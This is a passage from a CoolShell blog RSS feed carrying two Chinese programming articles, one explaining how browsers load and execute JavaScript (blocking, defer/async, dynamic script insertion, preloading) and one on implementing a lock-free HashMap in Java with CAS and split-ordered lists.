class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9859.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript 装载和执行</title>\n\t\t<link>https://coolshell.cn/articles/9749.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9749.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 05 Jun 2013 00:31:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[DOM]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9749</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9749.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-9778\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg 500w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-360x270.jpg 360w\" sizes=\"(max-width: 300px) 100vw, 300px\" />一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，但一直耽搁了。自上篇《<a title=\"浏览器的渲染原理简介\" href=\"https://coolshell.cn/articles/9666.html\" target=\"_blank\">浏览器渲染原理简介</a>》，正好也可以承前启后。</p>\n<p>首先，我想说一下Javascript的装载和执行。通常来说，浏览器对于Javascript的运行有两大特性：<strong>1）载入后马上执行，2）执行时会阻塞页面后续的内容（包括页面的渲染、其它资源的下载）</strong>。于是，如果有多个js文件被引入，那么对于浏览器来说，这些js文件被被串行地载入，并依次执行。</p>\n<p>因为javascript可能会来操作HTML文档的DOM树，所以，浏览器一般都不会像并行下载css文件并行下载js文件，因为这是js文件的特殊性造成的。所以，如果你的javascript想操作后面的DOM元素，基本上来说，浏览器都会报错说对象找不到。因为Javascript执行时，后面的HTML被阻塞住了，DOM树时还没有后面的DOM结点。所以程序也就报错了。</p>\n<h4>传统的方式</h4>\n<p>所以，当你写在代码中写下如下的代码：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;script type=&quot;text/javascript&quot;\n        src=&quot;https://coolshell.cn/asyncjs/alert.js&quot;&gt;&lt;/script&gt;</pre>\n<p><span id=\"more-9749\"></span></p>\n<p>基本上来说，head里的 &lt;script&gt;标签会阻塞后续资源的载入以及整个页面的生成。我专门做了一个示例你可以看看：<strong><a href=\"https://coolshell.cn/asyncjs/async_test01.html\" target=\"_blank\">示例一</a></strong>。 注意：我的alert.js中只有一句话：alert(&#8220;hello world&#8221;) ，这更容易让你看到javascript是怎么阻塞后面的东西的。</p>\n<p>所以，你知道为什么有很多网站把javascript放在网页的最后面了，要么就是动用了window.onload或是docmuemt ready之类的事件。</p>\n<p>另外，因为绝大多数的Javascript代码并不需要等页面，所以，我们异步载入的功能。那么我们怎么异步载入呢？</p>\n<h4>document.write方式</h4>\n<p>于是，你可能以为document.write()这种方式能够解决不阻塞的方式。你当然会觉得，document.write了的&lt;script&gt;标签后就可以执行后面的东西去了，这没错。对于在同一个script标签里的Javascript的代码来说，是这样的，但是对于整个页面来说，这个还是会阻塞。 下面是一段测试代码：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;\n    function loadjs(script_filename) {\n        document.write(&#039;&lt;&#039; + &#039;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&#039;);\n        document.write(&#039; src=&quot;&#039; + script_filename + &#039;&quot;&gt;&#039;);\n        document.write(&#039;&lt;&#039;+&#039;/script&#039;+&#039;&gt;&#039;);\n        alert(&quot;loadjs() exit...&quot;);\n    }\n\n    var script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;\n\n    loadjs(script);\n    alert(&quot;loadjs() finished!&quot;);\n&lt;/script&gt;\n\n&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;\n   alert(&quot;another block&quot;);\n&lt;/script&gt;</pre>\n<p>你觉得alert的顺序是什么？你可以在不同的浏览器里试一试。这里的想关的测试页面：<strong><a href=\"https://coolshell.cn/asyncjs/async_test02.html\" target=\"_blank\">示例二</a></strong>。</p>\n<h4>script的defer和async属性</h4>\n<p>IE自从IE6就支持defer标签，如：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;script defer type=&quot;text/javascript&quot; src=&quot;./alert.js&quot; &gt;\n&lt;/script&gt;</pre>\n<p>对于IE来说，这个标签会让IE并行下载js文件，并且把其执行hold到了整个DOM装载完毕（DOMContentLoaded），多个defer的&lt;script&gt;在执行时也会按照其出现的顺序来运行。最重要的是&lt;script&gt;被加上defer后，其不会阻塞后续DOM的的渲染。但是因为这个defer只是IE专用，所以一般用得比较少。</p>\n<p>而我们标准的的HTML5也加入了一个异步载入javascript的属性：async，无论你对它赋什么样的值，只要它出现，它就开始异步加载js文件。但是， async的异步加载会有一个比较严重的问题，那就是它忠实地践行着“载入后马上执行”这条军规，所以，虽然它并不阻塞页面的渲染，但是你也无法控制他执行的次序和时机。你可以<a href=\"https://coolshell.cn/asyncjs/async_test01.async.html\" target=\"_blank\">看看这个示例去感受一下</a>。</p>\n<p>支持 async标签的浏览器是：Firefox3.6+，Chrome 8.0+，Safari 5.0+，IE 10+，Opera还不支持（<a href=\"http://caniuse.com/#feat=script-async\" target=\"_blank\">来自这里</a>）所以这个方法也不是太好。因为并不是所有的浏览器你都能行。</p>\n<h4>动态创建DOM方式</h4>\n<p>这种方式可能是用得最多的了。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nfunction loadjs(script_filename) {\n    var script = document.createElement(&#039;script&#039;);\n    script.setAttribute(&#039;type&#039;, &#039;text/javascript&#039;);\n    script.setAttribute(&#039;src&#039;, script_filename);\n    script.setAttribute(&#039;id&#039;, &#039;coolshell_script_id&#039;);\n\n    script_id = document.getElementById(&#039;coolshell_script_id&#039;);\n    if(script_id){\n        document.getElementsByTagName(&#039;head&#039;)[0].removeChild(script_id);\n    }\n    document.getElementsByTagName(&#039;head&#039;)[0].appendChild(script);\n}\n\nvar script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;\nloadjs(script);\n</pre>\n<p>这个方式几乎成了标准的异步载入js文件的方式，这个方式的演示请参看：<strong><a href=\"https://coolshell.cn/asyncjs/async_test03.html\" target=\"_blank\">示例三</a></strong>。这方式还被玩出了JSONP的东东，也就是我可以为script的src指定某个后台的脚本（如PHP），而这个PHP返回一个javascript函数，其参数是一个json的字符串，返回来调用我们的预先定义好的javascript的函数。你可以看一下这个示例：<a href=\"https://coolshell.cn/t.js\" target=\"_blank\">t.js</a> （这个示例是我之前在微博征集的<a href=\"https://coolshell.cn/t.html\" target=\"_blank\">一个异步ajax调用的小例子</a>）<strong><br />\n</strong></p>\n<h4>按需异步载入js</h4>\n<p>上面那个DOM方式的例子解决了异步载入Javascript的问题，但是没有解决我们想让他按我们指定的时机运行的问题。所以，我们只需要把上面那个DOM方式绑到某个事件上来就可以了。</p>\n<p>比如：</p>\n<p><strong>绑在window.load事件上</strong>——<strong><a href=\"https://coolshell.cn/asyncjs/async_test04.html\" target=\"_blank\">示例四</a> </strong></p>\n<p><strong></strong>你一定要比较一下示例四和示例三在执行上有什么不同，我在这两个示例中都专门用了个代码高亮的javascript，看看那个代码高亮的的脚本的执行和我的alert.js的执行的情况，你就知道不同了）</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">window.load = loadjs(&quot;https://coolshell.cn/asyncjs/alert.js&quot;)</code></p>\n<p><strong>绑在特定的事件上</strong>——<strong><a href=\"https://coolshell.cn/asyncjs/async_test05.html\" target=\"_blank\">示例五</a></strong></p>\n<p><code data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;p style=&quot;cursor: pointer&quot; onclick=&quot;LoadJS()&quot;&gt;Click to load alert.js &lt;/p&gt;</code></p>\n<p>这个示例很简单了。当你点击某个DOM元素，才会真正载入我们的alert.js。</p>\n<h4>更多</h4>\n<p>但是，绑定在某个特定事件上这个事似乎又过了一点，因为只有在点击的时候才会去真正的下载js，这又会太慢了了。好了，到这里，要抛出我们的终极问题——<strong>我们想要异步地把js文件下载到用户的本地，但是不执行，仅当在我们想要执行的时候去执行</strong>。</p>\n<p>要是我们有下面这样的方式就好了：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var script = document.createElement(&quot;script&quot;);\nscript.noexecute = true;\nscript.src = &quot;alert.js&quot;;\ndocument.body.appendChild(script);\n\n//后面我们可以这么干\nscript.execute();</pre>\n<p>可惜的是，这只是一个美丽的梦想，今天我们的Javascript还比较原始，这个“JS梦”还没有实现呢。</p>\n<p>所以，我们的程序员只能使用hack的方式来搞。</p>\n<p>有的程序员使用了非标准的script的type来cache javascript。如：</p>\n<p><code data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;script type=cache/script src=&quot;./alert.js&quot;&gt;&lt;/script&gt;</code></p>\n<p>因为&#8221;cache/script&#8221;，这个东西根本就不能被浏览器解析，所以浏览器也就不能把alert.js当javascript去执行，但是他又要去下载js文件，所以就可以搞定了。可惜的是，webkit严格符从了HTML的标准——对于这种不认识的东西，直接删除，什么也不干。于是，我们的梦又破了。</p>\n<p>所以，我们需要再hack一下，就像N多年前玩preload图片那样，我们可以动用object标签（也可以动用iframe标签），于是我们有下面这样的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">    function cachejs(script_filename){\n        var cache = document.createElement(&#039;object&#039;);\n        cache.data = script_filename;\n        cache.id = &quot;coolshell_script_cache_id&quot;;\n        cache.width = 0;\n        cache.height = 0;\n        document.body.appendChild(cache);\n    }</pre>\n<p>然后，我们在的最后调用一下这个函数。请参看一下相关的示例：<strong><a href=\"https://coolshell.cn/asyncjs/async_test06.html\" target=\"_blank\">示例六</a></strong></p>\n<p>在Chrome下按 Ctrl+Shit+I，切换到network页，你就可以看到下载了alert.js但是没有执行，然后我们再用示例五的方式，因为浏览器端有缓存了，不会再从服务器上下载alert.js了。所以，就能保证执行速度了。</p>\n<p>关于这种preload这种东西你应该不会陌生了。你还可以使用Ajax的方式，如：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var xhr = new XMLHttpRequest();\nxhr.open(&#039;GET&#039;, &#039;new.js&#039;);\nxhr.send(&#039;&#039;);</pre>\n<p>到这里我就不再多说了，也不给示例了，大家可以自己试试去。</p>\n<p>最后再提两个js，一个是<a href=\"http://stevesouders.com/controljs/\" target=\"_blank\">ControlJS</a>，一个叫<a href=\"http://headjs.com/\" target=\"_blank\">HeadJS</a>，专门用来做异步load javascript文件的。</p>\n<p>好了，这是所有的内容了，希望大家看过后能对Javascript的载入和执行，以及相关的技术有个了解。<strong>同时，也希望各前端高手不吝赐教！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9749.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>104</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>无锁HashMap的原理与实现</title>\n\t\t<link>https://coolshell.cn/articles/9703.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9703.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[onetwogoo]]></dc:creator>\n\t\t<pubDate>Thu, 30 May 2013 13:31:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Hash]]></category>\n\t\t<category><![CDATA[HashMap]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[多线程]]></category>\n\t\t<category><![CDATA[并发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9703</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> (本文由onetwogoo投稿) 在《疫苗：Java HashMap的死循环》中，我们看到，java.util.HashMap并不能直接应用于多线程环境。对于...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9703.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong> (本文由<a href=\"https://github.com/onetwogoo\" rel=\"author\">onetwogoo</a>投稿)</strong></p>\n<p>在《<a title=\"疫苗：Java HashMap的死循环\" href=\"https://coolshell.cn/articles/9606.html\" target=\"_blank\">疫苗：Java HashMap的死循环</a>》中，我们看到，java.util.HashMap并不能直接应用于多线程环境。对于多线程环境中应用HashMap，主要有以下几种选择：</p>\n<ol>\n<li><span style=\"line-height: 13px;\">使用线程安全的java.util.Hashtable作为替代。</span></li>\n<li>使用java.util.Collections.synchronizedMap方法，将已有的HashMap对象包装为线程安全的。</li>\n<li>使用java.util.concurrent.ConcurrentHashMap类作为替代，它具有非常好的性能。</li>\n</ol>\n<p>而以上几种方法在实现的具体细节上，都或多或少地用到了互斥锁。互斥锁会造成线程阻塞，降低运行效率，并有可能产生死锁、优先级翻转等一系列问题。</p>\n<p>CAS(Compare And Swap)是一种底层硬件提供的功能，它可以将判断并更改一个值的操作原子化。关于CAS的一些应用，《<a title=\"无锁队列的实现\" href=\"https://coolshell.cn/articles/8239.html\" target=\"_blank\">无锁队列的实现</a>》一文中有很详细的介绍。</p>\n<h4>Java中的原子操作</h4>\n<p>在java.util.concurrent.atomic包中，Java为我们提供了很多方便的原子类型，它们底层完全基于CAS操作。</p>\n<p>例如我们希望实现一个全局公用的计数器，那么可以：</p>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">private AtomicInteger counter = new AtomicInteger(3);\n\npublic void addCounter() {\n    for (;;) {\n        int oldValue = counter.get();\n        int newValue = oldValue + 1;\n        if (counter.compareAndSet(oldValue, newValue))\n            return;\n    }\n}</pre>\n<p><span id=\"more-9703\"></span></p>\n<p>其中，compareAndSet方法会检查counter现有的值是否为oldValue，如果是，则将其设置为新值newValue，操作成功并返回true；否则操作失败并返回false。</p>\n<p>当计算counter新值时，若其他线程将counter的值改变，compareAndSwap就会失败。此时我们只需在外面加一层循环，不断尝试这个过程，那么最终一定会成功将counter值+1。（其实AtomicInteger已经为常用的+1/-1操作定义了incrementAndGet与decrementAndGet方法，以后我们只需简单调用它即可）</p>\n<p>除了AtomicInteger外，java.util.concurrent.atomic包还提供了AtomicReference和AtomicReferenceArray类型，它们分别代表原子性的引用和原子性的引用数组（引用的数组）。</p>\n<h4>无锁链表的实现</h4>\n<p>在实现无锁HashMap之前，让我们先来看一下比较简单的无锁链表的实现方法。</p>\n<p>以插入操作为例：</p>\n<ol>\n<li><span style=\"line-height: 13px;\">首先我们需要找到待插入位置前面的节点A和后面的节点B。</span></li>\n<li><span style=\"line-height: 13px;\">然后新建一个节点C，并使其next指针指向节点B。（见图1）</span></li>\n<li>最后使节点A的next指针指向节点C。（见图2）</li>\n</ol>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9743\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3.jpg\" width=\"600\" height=\"479\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3.jpg 600w, https://coolshell.cn/wp-content/uploads/2013/05/图1-3-300x240.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/图1-3-338x270.jpg 338w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p>但在操作中途，有可能其他线程在A与B直接也插入了一些节点（假设为D），如果我们不做任何判断，可能造成其他线程插入节点的丢失。（见图3）我们可以利用CAS操作，在为节点A的next指针赋值时，判断其是否仍然指向B，如果节点A的next指针发生了变化则重试整个插入操作。大致代码如下：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">private void listInsert(Node head, Node c) {\n    for (;;) {\n        Node a = findInsertionPlace(head), b = a.next.get();\n        c.next.set(b);\n        if (a.next.compareAndSwap(b,c))\n            return;\n    }\n}</pre>\n<p>(Node类的next字段为AtomicReference&lt;Node&gt;类型，即指向Node类型的原子性引用)</p>\n<p>无锁链表的查找操作与普通链表没有区别。而其删除操作，则需要找到待删除节点前方的节点A和后方的节点B，利用CAS操作验证并更新节点A的next指针，使其指向节点B。</p>\n<h4>无锁HashMap的难点与突破</h4>\n<p>HashMap主要有<strong>插入</strong>、<strong>删除</strong>、<strong>查找</strong>以及<strong>ReHash</strong>四种基本操作。一个典型的HashMap实现，会用到一个数组，数组的每项元素为一个节点的链表。对于此链表，我们可以利用上文提到的操作方法，执行插入、删除以及查找操作，但对于ReHash操作则比较困难。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9744\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/图4.jpg\" width=\"648\" height=\"265\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/图4.jpg 648w, https://coolshell.cn/wp-content/uploads/2013/05/图4-300x122.jpg 300w\" sizes=\"(max-width: 648px) 100vw, 648px\" /></p>\n<p>如图4，在ReHash过程中，一个典型的操作是遍历旧表中的每个节点，计算其在新表中的位置，然后将其移动至新表中。期间我们需要操纵3次指针：</p>\n<ol>\n<li>将A的next指针指向D</li>\n<li>将B的next指针指向C</li>\n<li>将C的next指针指向E</li>\n</ol>\n<p>而这三次指针操作必须同时完成，才能保证移动操作的原子性。但我们不难看出，CAS操作每次只能保证<strong>一个</strong>变量的值被原子性地验证并更新，无法满足同时验证并更新三个指针的需求。</p>\n<p>于是我们不妨换一个思路，既然移动节点的操作如此困难，我们可以使所有节点始终保持有序状态，从而避免了移动操作。在典型的HashMap实现中，数组的长度始终保持为2<sup>i</sup>，而从Hash值映射为数组下标的过程，只是简单地对数组长度执行取模运算（即仅保留Hash二进制的后i位）。当ReHash时，数组长度加倍变为2<sup>i+1</sup>，旧数组第j项链表中的每个节点，要么移动到新数组中第j项，要么移动到新数组中第j+2<sup>i</sup>项，而它们的唯一区别在于Hash值第i+1位的不同（第i+1位为0则仍为第j项，否则为第j+2<sup>i</sup>项）。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9745\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/图5-6.jpg\" width=\"690\" height=\"297\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/图5-6.jpg 863w, https://coolshell.cn/wp-content/uploads/2013/05/图5-6-300x128.jpg 300w\" sizes=\"(max-width: 690px) 100vw, 690px\" /></p>\n<p>如图5，我们将所有节点按照Hash值的翻转位序（如1101-&gt;1011）由小到大排列。当数组大小为8时，2、18在一个组内；3、11、27在另一个组内。每组的开始，插入一个哨兵节点，以方便后续操作。为了使哨兵节点正确排在组的最前方，我们将正常节点Hash的最高位（翻转后变为最低位）置为1，而哨兵节点不设置这一位。</p>\n<p>当数组扩容至16时（见图6），第二组分裂为一个只含3的组和一个含有11、27的组，但节点之间的相对顺序并未改变。这样在ReHash时，我们就不需要移动节点了。</p>\n<h4>实现细节</h4>\n<p>由于扩容时数组的复制会占用大量的时间，这里我们采用了将整个数组分块，懒惰建立的方法。这样，当访问到某下标时，仅需判断此下标所在块是否已建立完毕（如果没有则建立）。</p>\n<p>另外定义size为当前已使用的下标范围，其初始值为2，数组扩容时仅需将size加倍即可；定义count代表目前HashMap中包含的总节点个数（不算哨兵节点）。</p>\n<p>初始时，数组中除第0项外，所有项都为null。第0项指向一个仅有一个哨兵节点的链表，代表整条链的起点。初始时全貌见图7，其中浅绿色代表当前未使用的下标范围，虚线箭头代表逻辑上存在，但实际未建立的块。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9746\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/图7.jpg\" width=\"446\" height=\"282\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/05/图7.jpg 446w, https://coolshell.cn/wp-content/uploads/2013/05/图7-300x189.jpg 300w\" sizes=\"(max-width: 446px) 100vw, 446px\" /></p>\n<h5>初始化下标操作</h5>\n<p>数组中为null的项都认为处于未初始化状态，初始化某个下标即代表建立其对应的哨兵节点。初始化是递归进行的，即若其父下标未初始化，则先初始化其父下标。（一个下标的父下标是其移除最高二进制位后得到的下标）大致代码如下：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">private void initializeBucket(int bucketIdx) {\n    int parentIdx = bucketIdx ^ Integer.highestOneBit(bucketIdx);\n    if (getBucket(parentIdx) == null)\n        initializeBucket(parentIdx);\n\n    Node dummy = new Node();\n    dummy.hash = Integer.reverse(bucketIdx);\n    dummy.next = new AtomicReference&amp;lt;&amp;gt;();\n\n    setBucket(bucketIdx, listInsert(getBucket(parentIdx), dummy));\n}</pre>\n<p>其中getBucket即封装过的获取数组某下标内容的方法，setBucket同理。listInsert将从指定位置开始查找适合插入的位置插入给定的节点，若链表中已存在hash相同的节点则返回那个已存在的节点；否则返回新插入的节点。</p>\n<h5>插入操作</h5>\n<ul>\n<li>首先用HashMap的size对键的hashCode取模，得到应插入的数组下标。</li>\n<li>然后判断该下标处是否为null，如果为null则初始化此下标。</li>\n<li>构造一个新的节点，并插入到适当位置，注意节点中的hash值应为原hashCode经过位翻转并将最低位置1之后的值。</li>\n<li>将节点个数计数器加1，若加1后节点过多，则仅需将size改为size*2，代表对数组扩容（ReHash）。</li>\n</ul>\n<h5>查找操作</h5>\n<ul>\n<li>找出待查找节点在数组中的下标。</li>\n<li>判断该下标处是否为null，如果为null则返回查找失败。</li>\n<li>从相应位置进入链表，顺次寻找，直至找出待查找节点或超出本组节点范围。</li>\n</ul>\n<h5>删除操作</h5>\n<ul>\n<li><span style=\"line-height: 13px;\">找出应删除节点在数组中的下标。</span></li>\n<li>判断该下标处是否为null，如果为null则初始化此下标。</li>\n<li>找到待删除节点，并从链表中删除。（注意由于哨兵节点的存在，任何正常元素只被其唯一的前驱节点所引用，不存在被前驱节点与数组中指针同时引用的情况，从而不会出现需要同时修改多个指针的情况）</li>\n<li>将节点个数计数器减1。</li>\n</ul>\n<h4>参考文献</h4>\n<p><a title=\"《Split-Ordered Lists: Lock-Free Extensible Hash Tables》\" href=\"http://www.cs.ucf.edu/~dcm/Teaching/COT4810-Spring2011/Literature/SplitOrderedLists.pdf\" target=\"_blank\">《Split-Ordered Lists: Lock-Free Extensible Hash Tables》</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> 